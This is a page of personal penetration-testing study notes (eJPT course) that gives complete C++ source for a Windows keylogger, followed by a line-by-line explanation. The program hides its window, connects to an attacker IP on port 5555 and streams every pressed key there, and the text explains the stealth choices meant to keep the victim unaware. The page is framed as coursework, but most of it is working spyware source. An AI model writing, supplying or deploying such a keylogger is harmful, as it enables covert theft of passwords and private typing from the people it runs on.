📖
Notes
  • 🙌Welcome!
  • CyberSecurity
    • Penetration Testing
      • ELearnSecurity
        • eJPT
          • Footprinting & Scanning
            • Port Scanning
            • Mapping Networks
          • Information Gathering
            • Subdomain Enumeration
          • Network Attacks
            • Arp Poisoning
            • Null Sessions
            • Windows Shares
            • Authentication Cracking
          • Networking
            • Python Server to Receive Exfiltrated Data
            • CLI Tool to interact with HTTP/HTTPS
          • Programming
            • C++ Keylogger
            • C++ Information Stealer
          • System Attacks
            • Pivoting
            • Backdoor
          • Vulnerability Assessment
          • Web Attacks
            • SQL Injection
            • HTTP Verbs
            • Web Server Fingerprinting
      • PortSwigger
        • Cross-origin resource sharing (CORS)
          • Access-Control-Allow-Origin response header
          • Vulnerabilities arising from Misconfigurations
            • Server-generated ACAO header from client-specified Origin header
            • Errors parsing Origin headers
            • Whitelisted null origin value
            • Exploiting XSS via CORS trust relationships
            • Breaking TLS with poorly configured CORS
            • Intranets and CORS without credentials
            • Mitigations
        • Sql Injection
          • Examining the database
          • Retrieving data from other database tables
          • Blind SQL injection
          • Mitigation
      • TryHackMe
        • Main Methodology
          • 1. Reconnaissance
            • Google Dorking
            • Metadata Reader/Writer
            • Steghide - Stegnography
            • OSINT Framework
          • 2. Enumeration/Scanning
            • NFS Enumeration Tools
            • NMAP - Port Scanning
            • Web Enumeration Tools
            • SMB Enumeration Tools
            • SMTP Enumeration Tools
            • Shodan - IOT Search Engine
            • FTP Enumeration Tools
            • Wordpress Enumeration Tools
            • OWASP ZAP - WebApp Testing
            • BurpSuite - WebApp Testing
            • MySQL Enumeration Tools
            • Wordlists
          • 3. Gaining Access / Exploitation
            • Buffer Overflow
              • 1. Immunity Debugger
              • 2. Mona Setup
              • 3. Spiking
              • 4. Fuzzing
              • 5. Crash Replication & Controlling EIP
              • 6. Finding Bad Characters
              • 7. Find a Jump Point
              • 8. Generate Payload
              • 9. Prepend NOPs
              • 10. Final Buffer
            • Cryptography
              • Hash Crack Tools
              • Online Password Cracking Tools
              • Encryption
              • John the Ripper
            • Evasion Techniques
            • Shells
              • Powershell
              • Msfvenom
              • Meterpreter
              • Metasploit -- multi/handler
              • Netcat
              • Socat
            • Web Applications
              • OWASP Top 10
              • File Upload Vulnerabilities
              • Authentication Vulnerability
              • XML External Entity (XXE)
              • Cross-Site Scripting (XSS)
              • ZTH: Obscure Web Vulns
              • Server Side Request Forgery (SSRF)
              • Insecure Direct Object Reference (IDOR)
              • ZTH : Continued
              • File Inclusion Vulnerability
                • Local File Inclusion (LFI)
                • Log Poisoning Attack (LFI to RCE via Log files)
            • Windows Applications
              • Jenkins
              • Windows Active Directory
                • Impacket's secretsdump.py
                • Kerberos
                  • Enumerating Users with Kerbrute
                  • Enumerating SPN Accounts with Powershell
                  • Get SPN Account Ticket with Invoke-Kerberoast
                  • Kerberoasting with Rubeus & Impacket
                  • AS-REP Roasting with Rubeus/GetNPUsers.py
                  • Pass the Ticket with mimikatz
                  • Golden/Silver Ticket Attacks with mimikatz
                  • Kerberos Backdoors with mimikatz
                  • Harvesting and Brute-Forcing with Rubeus
                  • Conclusion and Resources
          • 4. Post Exploitation
            • Privilege Escalation
              • Linux
                • 1. Introduction
                • 2. Scripts
                • 3. Kernel Exploits
                • 4. Service Exploits
                • 5. Weak File Permissions
                • 6. Sudo
                • 7. Cron jobs
                • 8. SUID/SGID Executable
                • 9. CAP_SETUID Capabilities Executable
                • 10. Passwords & Keys
                • 11. NFS
                • PrivEsc CTF Checklists
              • Windows
                • Token Impersonation
                • PrivEsc CTF Checklists
                • Permission
                • Scripts
                • Unquoted Service Path
            • Tools
              • Meterpreter Modules
              • Impacket's Psexec
              • Impacket's mssqlclient.py
              • Firefox Decryptor
              • Socat - Reverse TCP Tunnel
            • Windows Active Directory
              • Enumeration with Powerview
              • Enumeration with Bloodhound (GUI)
              • Dumping Hashes with mimikatz
              • Golden Ticket Attacks with mimikatz
              • Enumeration with Server Manager
              • Maintaining Access
              • Additional Resources
          • 5. Covering Tracks
          • 6. Reporting
        • Networking Concepts
          • SSH Reverse Tunnels
        • Scripting
          • Curl
          • Powershell
            • Basic Powershell Commands
            • Enumeration
        • Web Extensions
          • Shodan
          • Wappalyzer
      • Miscellaneous
        • SMTP Enumeration
        • Nmap Advanced Scanning
        • Persistence via Meterpreter
        • DNS Enumeration
        • NetBIOS & SMB
        • DHCP Starvation
        • Packet Manipulation
        • Hash Cracking
        • MITM
        • Msfvenom Payload in APK (Manual Embedding)
    • Blue Teaming
      • Digital Forensics & Incidence Response
        • Memory Acquisition with LIME
        • Disk Analysis with Autopsy
        • Data and Memory Collection with FireEye Redline
        • Memory Forensice with Volatility
      • Intrusion Detection
        • Intrusion Detection Systems (IDS)
        • Threat Monitoring with Security Information & Event Management (SIEM)
        • Security Event Monitoring
        • Host Based Intrusion Detection System (HIDS) - OSSEC
      • Miscellaneous
        • Docker Image Security Analysis with Trivy
  • DevOps
    • Infrastructure as a Code (IaC)
      • Ansible
        • 1. Playbooks
        • 2. Modules
        • 3. Inventory
        • 4. Roles
        • 5. Ansible Tower
      • Terraform
        • 1. Overview
        • 2. Modify Resources
        • 3. Delete Resources
        • 4. Reference Resources
        • 5. Terraform Files
        • 6. Terraform State Commands
        • 7. Terraform Output
        • 8. Target Resources
        • 9. Terraform Variables
        • 10. Expressions + Functions
        • 11. Meta-Arguments
        • 12. Modules
        • 13. Managing Multiple Environments
        • 14. Testing Terraform Code
        • 15. Final Thoughts
    • Orchestration
      • Kubernetes
        • 1. Main K8s Components
        • 2. K8s Architecture
        • 3. Minikube & Kubectl
        • 4. YAML Configuration File
        • 5. K8s Namespaces
        • 6. K8s Ingress
        • 7. Helm - Package Manager of K8s
        • 8. K8 Volumes
        • 9. K8 StatefulSet
        • 10. K8 Services
  • Development
    • Blockchain
      • FreeCodeCamp Course
        • 1. Introduction
        • 2. Solidity Basics
        • 3. Storage Factory
        • 4. Fund Me
        • 5. Ethers.js
        • 6. Hardhat
        • 7. Hardhat | Fund Me
        • 8. Contract Lottery | Raffle
        • 9. IPFS
        • 10. ERC20s
        • 11. DeFi & Aave
        • 12. NFTs | Encoding
        • 13. Reentrancy Attack
    • Backend
      • NodeJs
        • Introduction
        • Additional Concepts
        • ExpressJs
    • Database
      • SQL
        • Basics
          • 1. Querying Data
          • 2. Filtering Data
          • 3. Joining Multiple Tables
          • 4. Grouping Data
          • 5. Set Operations
          • 6. Grouping Sets, Cube, and Rollup
          • 7. Subquery
          • 8. Common Table Expressions
          • 9. Modifying Data
          • 10. Transactions
          • 11. Import & Export Data
          • 12. Managing Tables
    • Testing
      • Test Driven Development (TDD)
      • Jest js
      • Cypress js
Powered by GitBook
On this page
  • Code
  • Compilation
  • Description:
  • Explanation:
  1. CyberSecurity
  2. Penetration Testing
  3. ELearnSecurity
  4. eJPT
  5. Programming

C++ Keylogger

Code

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    char KEY;

    WSADATA WSAData;
    SOCKET server;
    SOCKADDR_IN addr;

    WSAStartup(MAKEWORD(2, 0), &WSAData);
    server = socket(AF_INET, SOCK_STREAM, 0);

    addr.sin_addr.s_addr = inet_addr("10.10.15.2");
    addr.sin_family = AF_INET;
    addr.sin_port = htons(5555);

    connect(server, (SOCKADDR *)&addr, sizeof(addr));

    while (true) {
        Sleep(10);
        for (int KEY = 0x8; KEY < 0xFF; KEY++)
        {
            if (GetAsyncKeyState(KEY) & 0x8000) {
                char buffer[2];
                buffer[0] = KEY;
                send(server, buffer, sizeof(buffer), 0);
            }
        }
    }

    closesocket(server);
    WSACleanup();
}

Compilation

Add the flag -lws2_32 for the linker:


Description:

The above code would send the keystrokes (only printable characters) of the user to the attacker's machine over a TCP connection, on port 5555.

On the attacker's end, we will be using netcat to setup a listener on port 5555 and receive the data sent by the keylogger program.


Explanation:

Snippet 1:

#define _WINSOCK_DEPRECATED_NO_WARNINGS

Explanation: We use winsock utilities and we do not want the compiler to complain about older functionalities used, since the below code is sufficient for our needs.

Snippet 2:

#pragma comment(lib, "Ws2_32.lib")

Explanation: We need the Ws2_32.lib library in order to use sockets (networking) functionality in Windows.

Snippet 3:

#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

Explanation: Here we have included some header files. These are:

  • iostream: includes standard input/output utilities

  • winsock2.h: includes networking utilities

  • stdio.h: includes standard input/output utilities (needed for perror())

  • stdlib.h: includes standard input/output utilities

  • Windows.h: includes Windows libraries

Snippet 4:

ShowWindow(GetConsoleWindow(), SW_HIDE);

Explanation: To hide the program window so that it's not obvious to the victim that this program is running!

Snippet 5:

char KEY;

Explanation: This variable would hold a single key, for which we would check the status (if it's pressed or not).

Snippet 6:

WSADATA WSAData;
SOCKET server;
SOCKADDR_IN addr;
  • WSADATA: This data type (it's a struct) holds information about windows socket implementation.

  • SOCKET: This data type stores the connection of the SOCKET type.

  • SOCKADDR_IN: This data type (it's a struct) holds the details of socket connection.

This must make clear what the purpose of the variables mentioned in the above snippet would be.

Snippet 7:

WSAStartup(MAKEWORD(2, 0), &WSAData);

Explanation: Initialize usage of the winsock library (needed for opening a network connection).

Snippet 8:

server = socket(AF_INET, SOCK_STREAM, 0);

Explanation: Set up a TCP socket. AF_INET means address family for IPv4. SOCK_STREAM means that we want a TCP socket.

Snippet 9:

addr.sin_addr.s_addr = inet_addr("10.10.15.2");
addr.sin_family = AF_INET;
addr.sin_port = htons(5555);

Explanation: The above snippet would set the IP address of the target we wish to sent the data to (that would be the attacker's IP address). The port used would be 5555 and the IP address is IPv4 which is indicated by AF_INET.

Snippet 10:

connect(server, (SOCKADDR *)&addr, sizeof(addr));

Explanation: Connect to the previously set up target host/port.

Snippet 11:

while (true) {
    Sleep(10);
    for (int KEY = 0x8; KEY < 0xFF; KEY++)
    {
        if (GetAsyncKeyState(KEY) & 0x8000) {
            char buffer[2];
            buffer[0] = KEY;
            send(server, buffer, sizeof(buffer), 0);
        }
    }
}

Explanation: The above snippet would run an infinite loop and and check if any of the keys in the range (0x8 to 0xFF). Then the GetAsyncKeyState function checks if that key is in pressed state (check the 2nd point of the note below). If the key we checked for is in pressed state, send the pressed key's ASCII value to the attacker over the established TCP socket.

Note: 1. If you are wondering why 0x1-0x7 are not included, check the list of virtual keycodes here. The range of keycodes from 0x1-0x7 are uninteresting from a keylogger's perspective and that's why they are ignored! If you wish to log only the printable characters, you can further narrow down the range of the loop.

As per the GetAsyncKeyState function's documentation: If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior

So if the most significant bit was set, the key is currently pressed! And that's what & 0x8000 does. It checks if the MSB is set to 1.

If you notice, there's a call to Sleep function as well. That would prevent this keylogger to consume a lot of CPU cycles and thus prevent spiking the CPU usage, which could slow down the machine and even give an indication to the victim that something unusual is wrong on!

Snippet 12:

closesocket(server);

Explanation: Close the socket.

Snippet 13:

WSACleanup();

Explanation: Clean up the Winsock library components.


PreviousProgrammingNextC++ Information Stealer

Last updated 1 year ago